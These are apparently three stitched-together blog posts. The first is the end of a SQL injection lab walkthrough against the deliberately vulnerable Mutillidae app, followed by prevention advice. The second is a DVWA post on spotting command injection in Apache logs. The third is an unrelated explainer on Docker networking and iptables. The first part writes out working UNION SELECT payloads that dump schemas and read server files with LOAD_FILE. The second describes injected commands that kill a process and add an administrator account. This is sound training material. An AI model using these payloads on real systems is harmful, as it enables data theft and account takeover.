Now that we have gotten a dump of the database structure (note image above is a snapshot), we can now look at the other tables, to see where we may be able to extract data of relevance.

Going through the list we see the "accounts" table. This list contains the user information which we were able to obtain at the beginning of the tests. Let's dump table "accounts" to learn more about it.

"admin' UNION SELECT NULL,table_name,column_name,data_type,NULL,NULL,NULL FROM information_schema.columns WHERE table_name = 'accounts' -- "


We see there are additional fields such as "cid", "is_admin", "firstname", and "lastname". (note image above is a snapshot)

Let's see what we can learn about "is_admin".

"' UNION SELECT NULL,cid,username,is_admin,NULL,NULL,NULL FROM accounts -- "


Looks like the value for "is_admin" is either "TRUE" or "FALSE". From this we have a list of admin users in the database.

Let's take a look to see which user the application is accessing the database as.

"admin' UNION SELECT NULL,current_user(),NULL,NULL,NULL,NULL,NULL -- "


Very interesting! This application is running as root ...

.. and what database are we connected to?

"admin' UNION SELECT NULL,database(),NULL,NULL,NULL,NULL,NULL -- "

Let's now try to read a file from the server's filesystem ...

”admin' UNION SELECT NULL,LOAD_FILE('..\\..\\..\\..\\WINDOWS\\system32\\drivers\\etc\\hosts'),NULL,NULL,NULL,NULL,NULL -– “


As we can see we managed to load the contents of the "WINDOWS\\system32\\drivers\\etc\\hosts" file.

Ok! let's make it a bit more interesting. How about if we knew of a specific file which had corporate secrets? Let's grab that file.

“admin' UNION SELECT NULL,LOAD_FILE('..\\..\\..\\..\\Secret\\CorpSecrets.txt'),NULL,NULL,NULL,NULL,NULL -- “

How to secure your organization from SQL injection
We did a lot in terms of demonstrating the effects of SQL injection. However, understanding how we protect ourselves from this is just as important.

The guidance at this time based on my understanding and according to w3schools is "The only proven way to protect a web site from SQL injection attacks, is to use SQL parameters." SQL parameters are values that are added to the SQL Query at execution time in a more controlled manner.

The guidance from OWASP is that one out of 3 options are available. The first and primary option is the use of prepared statements with parameterized queries which is similar to the guidance of W3Schools. Alternatively, there can be usage of stored procedures or finally the escaping of all user supplied input. Escaping of all user supplied input should only be used as a last resort when you are unable to use either parameterized queries or stored procedures as there is no guarantee that it will prevent all SQL Injections in all situations. OWASP also provides additional guidance such as enforcing of least privileges in which you restrict the level of access your application accounts have to the database and white list validation.

Parameterized queries allows the database to distinguish between code and data, regardless of what the user inputs. Prepared statements ensure that even if  SQL commands are inserted by an attacker, they are unable to change the intent of the query.

As it relates to OWASP option 2, stored procedures, OWASP states that this is not always safe from SQL Injection. However, when implemented safely it can have the same effect of parameterized queries.

References:
https://www.owasp.org/index.php/OWASP_Mutillidae_2_Project
http://www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-php-owasp-top-10
https://sourceforge.net/projects/mutillidae/
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
https://en.wikipedia.org/wiki/SQL_injection
http://www.securiteam.com/securityreviews/5DP0N1P76E.html
https://msdn.microsoft.com/en-us/library/ff648339.aspx
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
http://www.w3schools.com/Sql/sql_injection.asp
https://dev.mysql.com/doc/connector-net/en/connector-net-tutorials-stored-procedures.html
https://www.mssqltips.com/sqlservertutorial/3212/get-free-sql-tips/
https://dev.mysql.com/doc/connector-net/en/connector-net-tutorials-parameters.htmlhttps://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet
http://stackoverflow.com/questions/1894026/examples-of-parameterized-queries
http://dev.mysql.com/doc/refman/5.7/en/sql-syntax-prepared-statements.html
http://php.net/manual/en/pdo.prepared-statements.php
https://blogs.msdn.microsoft.com/sqlphp/2008/09/30/how-and-why-to-use-parameterized-queries/
https://blog.codinghorror.com/give-me-parameterized-sql-or-give-me-death/
http://www.unixwiz.net/techtips/sql-injection.html
https://msdn.microsoft.com/en-us/library/ms190782.aspx
https://docs.oracle.com/javase/tutorial/jdbc/basics/storedprocedures.html
https://www.pcwdld.com/sql-cheat-sheet

Beginning Web Application Testing: Detecting OS Command Injection - DVWA

As stated in the previous post, in order to be able to log web traffic via “POST” method and at least from Apache perspective, we needed to enable “mod_dumpio”. Take a look at the previous post for guidance on how to perform that configuration.

Let’s get into the meat of things right away.

First it is important to note that this logging is being done in “debug” mode. As a result there is a large volume of data in these logs for the investigation we need to do. So let’s focus on what is important or to look at it another way, let’s focus on our indicator here which is IP address “10.0.0.103”.

Using “cat CommandInjection.logs | grep "mod_dumpio" | grep --perl-regexp "10.0.0.103" --colour=always | more” we see the first snapshot of our input which was “-n+1+-l+4000+10.0.0.103” when encoded. The image below show both the input and output for this first activity.


While going through the log this way may prove helpful, for demonstration purposes and in the interest of time, let’s look at it from a different perspective.

Let first look at all the input which came in and we can do this via this one-liner “cat --number CommandInjection.logs | grep --perl-regexp "dumpio_in" | grep --perl-regexp ":\s+ip=.*?\&" --only-matching | sort | uniq --count | sort --numeric --reverse”.

From above we see there were a total of 16 requests which came in. One of them occurring 4 times, another 2 times and the rest 1 time.

The same method which was used to decode the logs in the blog entry on detecting Cross Site Scripting (XSS) can be used to decode these logs. Alternatively, we could simply copy this text, paste it into something like “Notepad++” or another decoder tool of your choice.

The image below shows “Notepad++” URL decoding of the input.


Now that we have the input, let’s see if and or what our server returned.

Starting off with the attempt to kill the “VBoxService.exe”, let’s use “grep” to make this easier for us to understand if our server returned anything. Using “cat --number CommandInjection.logs | grep --perl-regexp "\s+The\sprocess.*?\<|taskkill.*?\&" --colour=always” we get a clear view that the command was executed successfully as shown below. Thus the process was terminated.
 
Let’s now take a look at the attempt to add the “webHack” user to the “Administrators” group. Once again, let’s use “grep” to make this easier via the following “cat --number CommandInjection.logs | grep --perl-regexp "net+.*?\&|The\s+command.*?\." --colour=always | more”.



Above we see the user “webHack” is successfully added to the system. Next step is to validate whether or not the user actually got created. The image below shows it was successfully created and this was confirmed via “cat --number CommandInjection.logs | grep --perl-regexp "net\+.*?\&|The\s+command.*?\.|webHack" --colour=always | more”.


Next we see the user being successfully added to the “Administrators” group.


Finally we see the validation that the user was successfully added. This can be seen via “cat --number CommandInjection.logs | grep --perl-regexp "net\+.*?\&|The\s+command.*?\.|webHack" --colour=always | more”



Ok then! That’s it for detecting command injection. On to the next post SQL Injection.

Docker Networking Internals: How Docker uses Linux iptables and interfaces

I started playing with docker a while ago, and like most people I was instantly impressed with its power and ease of use. Simplicity is one of docker’s core tenants, and much of docker’s power is abstracted behind simple cli commands. As I was learning to use docker, I wanted to know what it was doing in the background to make things happen, especially around networking (one of my primary areas of interest).

I found numerous documentation for how to create and manipulate container networks, but not as many when it came to how docker makes container networking work. Docker extensively uses linux iptables and bridge interfaces, and this post is my summary of how that is used to create container networks. Most of this information came from github discussion threads, presentations, as well as my own testing, and I link to a number of helpful resources at the end of this post.

I used docker 1.12.3 for the examples in this post. This is not meant as a comprehensive description of docker networking nor as an introduction to docker networking. I hope it might add some insights for users, and I would appreciate any feedback or comments on errors or anything missing. 

 

Contents

• Docker Networks Overview
• Docker Bridge Networks
  • Linux Bridge Interfaces
  • Virtual interfaces (veth)
    • Locate a container’s veth interface
  • iptables
    • iptables:filter
      • Docker-isolation chain
      • icc=false
    • iptables:nat
• Summary
• Links/Resources
• Part II: Container Connectivity in Docker Swarm and Overlay Networks

 

Docker Networks Overview

Docker’s networking is built on top of the Container Network Model (CNM) which allows any party to write their own network driver. This allows for different network types to be available to containers running on the docker engine, and containers can connect to more than one network type at the same time. In addition to the various third party network drivers available, docker comes with four built-in network drivers:

• Bridge: This is the default network that containers are launched in. The connectivity is facilitated through a bridge interface on the docker host. Containers using the same bridge network have their own subnet, and can communicate with each other (by default). 

• Host: This driver allows a container to have access to the docker host’s own network space (The container will see and use the same interfaces as the docker host).

• Macvlan: This driver allows containers to have direct access to an interface or subinterface (vlan) of the host. It also allows trunking.

• Overlay: This driver allows for networks to be built across multiple hosts running docker (usually a docker swarm cluster). Containers also have their own subnet and network addresses, and can communicate with each other directly even if they are running on different physical hosts.

Bridge and overlay networks are probably the most commonly used network drivers, and I will be mostly concerned with these two drivers in this article and the next.

 

Docker Bridge Networks

The default network for containers running on a docker host is a bridge network. Docker creates a default bridge network named ‘bridge’ when first installed. We can see this network by listing all networks docker network ls:

$ docker network ls
NETWORK ID          NAME                DRIVER              SCOPE
3e8110efa04a        bridge              bridge              local
bb3cd79b9236        docker_gwbridge     bridge              local
22849c4d1c3a        host                host                local
3kuba8yq3c27        ingress             overlay             swarm
ecbd1c6c193a        none                null                local

To inspect its properties run docker network inspect bridge:

$ docker network inspect bridge
[
    {
        "Name": "bridge",
        "Id": "3e8110efa04a1eb0923d863af719abf5eac871dbac4ae74f133894b8df4b9f5f",
        "Scope": "local",
        "Driver": "bridge",
        "EnableIPv6": false,
        "IPAM": {
            "Driver": "default",
            "Options": null,
            "Config": [
                {
                    "Subnet": "172.18.0.0/16",
                    "Gateway": "172.18.0.1"
                }
            ]
        },
        "Internal": false,
        "Containers": {},
        "Options": {
            "com.docker.network.bridge.default_bridge": "true",
            "com.docker.network.bridge.enable_icc": "true",
            "com.docker.network.bridge.enable_ip_masquerade": "true",
            "com.docker.network.bridge.host_binding_ipv4": "0.0.0.0",
            "com.docker.network.bridge.name": "docker0",
            "com.docker.network.driver.mtu": "1500"
        },
        "Labels": {}
    }
]

You can also create your own bridge networks by using the docker network create command and specifying the option --driver bridge, for example docker network create --driver bridge --subnet 192.168.100.0/24 --ip-range 192.168.100.0/24 my-bridge-network creates another bridge network, with the name ‘my-bridge-network’ and subnet 192.168.100.0/24.

 

Linux bridge interfaces

Each bridge network that docker creates is represented by a bridge interface on the docker host. The default bridge network ‘bridge’ usually has the interface docker0 associated with it, and each subsequent bridge network that is created with the docker network create command will have a new interface associated with it.

$ ifconfig docker0
docker0   Link encap:Ethernet  HWaddr 02:42:44:88:bd:75
          inet addr:172.18.0.1  Bcast:0.0.0.0  Mask:255.255.0.0
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

To find out the linux interface associated with the docker network you created, you can use ifconfig to list all interfaces and then find the interface that has the subnet you specified, for example if we wanted to look up the bridge interface for my-bridge-network which we created above, we can run the following:

$ ifconfig | grep 192.168.100. -B 1
br-e6bc7d6b75f3 Link encap:Ethernet  HWaddr 02:42:bc:f1:91:09
          inet addr:192.168.100.1  Bcast:0.0.0.0  Mask:255.255.255.0

The linux bridge interfaces are similar to switches in their function in that they connect different interfaces to the same subnet, and forward traffic based on MAC addresses. As we shall see below, each container connected to a bridge network will have its own virtual interface created on the docker host, and the docker engine will connect all containers in the same network to the same bridge interface, which will allow them to communicate with each other. You can get more details about the status of the bridge by using the brctl utility:

$ brctl show docker0
bridge name     bridge id               STP enabled     interfaces
docker0         8000.02424488bd75       no

Once we have containers running and connected to this network, we will see each container’s interface listed under the interfaces column. And running a traffic capture on the bridge interface will allow us to see intercommunication between containers on the same subnet.

 

Linux virtual interfaces (veth)

The Container Networking Model (CNM) allows each container to have its own network space. Running ifconfig from inside the container will show its interfaces as the container sees them:

$ docker run -ti ubuntu:14.04 /bin/bash
root@6622112b507c:/#
root@6622112b507c:/# ifconfig
eth0      Link encap:Ethernet  HWaddr 02:42:ac:12:00:02
          inet addr:172.18.0.2  Bcast:0.0.0.0  Mask:255.255.0.0
          inet6 addr: fe80::42:acff:fe12:2/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:9 errors:0 dropped:0 overruns:0 frame:0
          TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:766 (766.0 B)  TX bytes:508 (508.0 B)


lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

However, the eth0 seen above is only available from within that container, and outside on the docker host, docker creates a twin virtual interface that corresponds to it and acts as a link to the outside world. These virtual interfaces are then connected to the bridge interfaces discussed above to facilitate connectivity between different containers on the same subnet.

We can review this process by starting two containers connected to the default bridge network, and then view the interface configuration on the docker host.

Before running starting any containers, the docker0 bridge interface has no interfaces attached:

$ sudo brctl show docker0
bridge name     bridge id               STP enabled     interfaces
docker0         8000.02424488bd75       no

I then started two containers from the ubuntu:14.04 image:

$ docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
a754719db594        ubuntu:14.04        "/bin/bash"         5 seconds ago       Up 4 seconds                            zen_kalam
976041ec420f        ubuntu:14.04        "/bin/bash"         7 seconds ago       Up 5 seconds                            stupefied_easley

You can immediately see that there are now two interfaces attached to the docker0 bridge interface (one for each container):

$ sudo brctl show docker0
bridge name     bridge id               STP enabled     interfaces
docker0         8000.02424488bd75       no              veth2177159
                                                        vethd8e05dd

Starting a ping to google from one of the containers, then doing a traffic capture on the container’s virtual interface from the docker host will show us the containers traffic:

$ docker exec a754719db594 ping google.com
PING google.com (216.58.217.110) 56(84) bytes of data.
64 bytes from iad23s42-in-f110.1e100.net (216.58.217.110): icmp_seq=1 ttl=48 time=0.849 ms
64 bytes from iad23s42-in-f110.1e100.net (216.58.217.110): icmp_seq=2 ttl=48 time=0.965 ms

ubuntu@swarm02:~$ sudo tcpdump -i veth2177159 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on veth2177159, link-type EN10MB (Ethernet), capture size 262144 bytes
20:47:12.170815 IP 172.18.0.3 > iad23s42-in-f14.1e100.net: ICMP echo request, id 14, seq 55, length 64
20:47:12.171654 IP iad23s42-in-f14.1e100.net > 172.18.0.3: ICMP echo reply, id 14, seq 55, length 64
20:47:13.170821 IP 172.18.0.3 > iad23s42-in-f14.1e100.net: ICMP echo request, id 14, seq 56, length 64
20:47:13.171694 IP iad23s42-in-f14.1e100.net > 172.18.0.3: ICMP echo reply, id 14, seq 56, length 64

Similarly we can do a ping from one container to another.

First, we need to get the IP address of the container which we can do by either running ifconfig in the container or inspecting the container using the docker inspect command:

$ docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' a754719db594 
172.18.0.3 

Then start a ping from one container to another:

$ docker exec 976041ec420f ping 172.18.0.3
PING 172.18.0.3 (172.18.0.3) 56(84) bytes of data.
64 bytes from 172.18.0.3: icmp_seq=1 ttl=64 time=0.070 ms
64 bytes from 172.18.0.3: icmp_seq=2 ttl=64 time=0.053 ms

To see this traffic from the docker host, we can do a capture on either of the virtual interfaces corresponding to the containers, or we can do a capture on the bridge interface (docker0 in this instance) which shows all inter-container communication on that subnet:

$ sudo tcpdump -ni docker0 host 172.18.0.2 and host 172.18.0.3
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on docker0, link-type EN10MB (Ethernet), capture size 262144 bytes
20:55:37.990831 IP 172.18.0.2 > 172.18.0.3: ICMP echo request, id 14, seq 200, length 64
20:55:37.990865 IP 172.18.0.3 > 172.18.0.2: ICMP echo reply, id 14, seq 200, length 64
20:55:38.990828 IP 172.18.0.2 > 172.18.0.3: ICMP echo request, id 14, seq 201, length 64
20:55:38.990866 IP 172.18.0.3 > 172.18.0.2: ICMP echo reply, id 14, seq 201, length 64

 

Locate a container’s veth interface

There is no straightforward way for finding which veth interface on the docker host is linked to the interface within a container, but there are several methods discussed in various docker forum and github threads. The easiest in my opinion is the following (Based on the solution in this thread with a slight modification) which depends on having ethtool accessible in the container:

For example, I have three containers running on my system:

$ docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
ccbf97c72bf5        ubuntu:14.04        "/bin/bash"         3 seconds ago       Up 3 seconds                            admiring_torvalds
77d9f02d61f2        ubuntu:14.04        "/bin/bash"         4 seconds ago       Up 4 seconds                            goofy_borg
19743c0ddf24        ubuntu:14.04        "/bin/sh"           8 minutes ago       Up 8 minutes                            high_engelbart

First I execute the following in the container, and get the peer_ifindex number:

$ docker exec 77d9f02d61f2 sudo ethtool -S eth0
NIC statistics:
     peer_ifindex: 16

Then on the docker host, I use the peer_ifindex to find the interface name:

$ sudo ip link | grep 16
16: veth7bd3604@if15: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP mode DEFAULT group default

So the interface name in this case is veth7bd3604.

iptables

Docker uses linux iptables to control communication to and from the interfaces and networks it creates. Linux iptables consist of different tables, but we are primarily concerned with two: filter and nat. Filter is the security rules table used to allow or deny traffic to IP addresses, networks or interfaces, whereas nat contains the rules responsible for masking IP addresses or ports. Docker uses nat to allow containers on bridge networks to communicate with destinations outside the docker host (otherwise routes pointing to the container networks would have to be added in the docker host’s network).

iptables:filter

Tables in iptables consist of different chains that correspond to different conditions or stages in processing a packet on the docker host. The filter table has 3 chains by default: Input chain for processing packets arriving at the host and destined for the same host, output chain for packets originating on the host to an outside destination, and forward are for packets entering the host but with a destination outside the host. Each chain consists of some rules that dictate some action to be taken on the packet (for example reject or accept the packet) as well as conditions for matching the rule. Rules are processed in sequence until a match is found, otherwise the default policy of the chain is applied. It is also possible to define custom chains in a table.

To view the currently configured rules and default policies for chains in the filter table, run iptables -t filter -L (or iptables -L since the filter table is used by default if no table is specified):

$ sudo iptables -t filter -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:domain
ACCEPT     udp  --  anywhere             anywhere             udp dpt:domain
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:bootps
ACCEPT     udp  --  anywhere             anywhere             udp dpt:bootps
Chain FORWARD (policy ACCEPT)
target     prot opt source               destination
DOCKER-ISOLATION  all  --  anywhere             anywhere
DOCKER     all  --  anywhere             anywhere
ACCEPT     all  --  anywhere             anywhere             ctstate RELATED,ESTABLISHED
ACCEPT     all  --  anywhere             anywhere
ACCEPT     all  --  anywhere             anywhere
DOCKER     all  --  anywhere             anywhere
ACCEPT     all  --  anywhere             anywhere             ctstate RELATED,ESTABLISHED
ACCEPT     all  --  anywhere             anywhere
ACCEPT     all  --  anywhere             anywhere
DOCKER     all  --  anywhere             anywhere
ACCEPT     all  --  anywhere             anywhere             ctstate RELATED,ESTABLISHED
ACCEPT     all  --  anywhere             anywhere
ACCEPT     all  --  anywhere             anywhere
ACCEPT     all  --  anywhere             anywhere
DROP       all  --  anywhere             anywhere
Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
Chain DOCKER (3 references)
target     prot opt source               destination
Chain DOCKER-ISOLATION (1 references)
target     prot opt source               destination
DROP       all  --  anywhere             anywhere
DROP       all  --  anywhere             anywhere
DROP       all  --  anywhere             anywhere
DROP       all  --  anywhere             anywhere
DROP       all  --  anywhere             anywhere
DROP       all  --  anywhere             anywhere
RETURN     all  --  anywhere             anywhere

Highlighted are the different chains, and the default policy for each chain (There are no default policies for custom chains). We can also see that Docker has added two custom chains: Docker and Docker-Isolation, and has inserted rules in the Forward chain that have these two new chains as targets.

Docker-isolation chain

Docker-isolation contains rules that restrict access between the different container networks. To see more details, use the -v option when running iptables:

$ sudo iptables -t filter -L -v
….
Chain DOCKER-ISOLATION (1 references)
 pkts bytes target     prot opt in     out     source               destination
    0     0 DROP       all  --  br-e6bc7d6b75f3 docker0  anywhere             anywhere
    0     0 DROP       all  --  docker0 br-e6bc7d6b75f3  anywhere             anywhere
    0     0 DROP       all  --  docker_gwbridge docker0  anywhere             anywhere
    0     0 DROP       all  --  docker0 docker_gwbridge  anywhere             anywhere
    0     0 DROP       all  --  docker_gwbridge br-e6bc7d6b75f3  anywhere             anywhere
    0     0 DROP       all  --  br-e6bc7d6b75f3 docker_gwbridge  anywhere             anywhere
36991 3107K RETURN     all  --  any    any     anywhere             anywhere

You can see above a number of drop rules that block traffic between any of the bridge interfaces created by docker, thus making sure that container networks cannot communicate.

icc=false

One of the options that can be passed to the docker network create command is com.docker.network.bridge.enable_icc, which stands for inter-container communication. Setting this option to false blocks containers on the same network from communicating with each other. This is carried out by adding a drop rule in the forward chain that matches on packets coming from the bridge interface associated with the network destined for the same interface.

For example, if we create a new network with the command docker network create --driver bridge --subnet 192.168.200.0/24 --ip-range 192.168.200.0/24 -o "com.docker.network.bridge.enable_icc"="false" no-icc-network

 

$ ifconfig | grep 192.168.200 -B 1
br-8e3f0d353353 Link encap:Ethernet  HWaddr 02:42:c4:6b:f1:40
          inet addr:192.168.200.1  Bcast:0.0.0.0  Mask:255.255.255.0

$ sudo iptables -t filter -S FORWARD
-P FORWARD ACCEPT
-A FORWARD -j DOCKER-ISOLATION
-A FORWARD -o br-8e3f0d353353 -j DOCKER
-A FORWARD -o br-8e3f0d353353 -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
-A FORWARD -i br-8e3f0d353353 ! -o br-8e3f0d353353 -j ACCEPT
-A FORWARD -o docker0 -j DOCKER
-A FORWARD -o docker0 -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
-A FORWARD -i docker0 ! -o docker0 -j ACCEPT
-A FORWARD -i docker0 -o docker0 -j ACCEPT
-A FORWARD -o br-e6bc7d6b75f3 -j DOCKER
-A FORWARD -o br-e6bc7d6b75f3 -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
-A FORWARD -i br-e6bc7d6b75f3 ! -o br-e6bc7d6b75f3 -j ACCEPT
-A FORWARD -i br-e6bc7d6b75f3 -o br-e6bc7d6b75f3 -j ACCEPT
-A FORWARD -o docker_gwbridge -j DOCKER
-A FORWARD -o docker_gwbridge -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
-A FORWARD -i docker_gwbridge ! -o docker_gwbridge -j ACCEPT
-A FORWARD -o lxcbr0 -j ACCEPT
-A FORWARD -i lxcbr0 -j ACCEPT
-A FORWARD -i docker_gwbridge -o docker_gwbridge -j DROP
-A FORWARD -i br-8e3f0d353353 -o br-8e3f0d353353 -j DROP

iptables:nat

NAT allows the host to change the IP address or port of a packet. In this instance, it is used to mask the source IP address of packets coming from docker bridge networks (for example hosts in the 172.18.0.0/24 subnet) destined to the outside world, behind the IP address of the docker host. This feature is controlled by the com.docker.network.bridge.enable_ip_masquerade option that can be passed to docker network create (If not specified, then it defaults to true).

You can see the effect of this command in the nat table of iptables:

$ sudo iptables -t nat -L
Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination
DOCKER     all  --  anywhere             anywhere             ADDRTYPE match dst-type LOCAL


Chain INPUT (policy ACCEPT)
target     prot opt source               destination


Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
DOCKER     all  --  anywhere            !127.0.0.0/8          ADDRTYPE match dst-type LOCAL


Chain POSTROUTING (policy ACCEPT)
target     prot opt source               destination
MASQUERADE  all  --  172.18.0.0/16        anywhere
MASQUERADE  all  --  192.168.100.0/24     anywhere
MASQUERADE  all  --  172.19.0.0/16        anywhere
MASQUERADE  all  --  10.0.3.0/24         !10.0.3.0/24


Chain DOCKER (2 references)
target     prot opt source               destination
RETURN     all  --  anywhere             anywhere
RETURN     all  --  anywhere             anywhere
RETURN     all  --  anywhere             anywhere

In the postrouting chain, you can see all the docker networks created with the action of masquerade applied to them when communicating with any host outside their own network.

Summary

• A bridge network has a corresponding linux bridge interface on the docker host that acts as a layer2 switch, and which connects different containers on the same subnet.
• Each network interface in a container has a corresponding virtual interface on the docker host that is created while the container is running.
• A traffic capture from the docker host on the bridge interface is equivalent to configuring a SPAN port on a switch in that you can see all inter-container communication on that network.
• A traffic capture from the docker host on the virtual interface (veth-*) will show all traffic the container is sending on a particular subnet.
• Linux iptables rules are used to block different networks (and sometimes hosts within the network) from communicating using the filter table. These rules are usually added in the DOCKER-ISOLATION chain.
• Containers communicating with the outside world through a bridge interface have their IP hidden behind the docker host’s IP address. This is done by adding rules to the nat table in iptables.

 

Links/Resources

• Docker networking concepts
• Deep dive into Docker 1.12 Networking
• Docker container networking user guide
• Linux iptables overview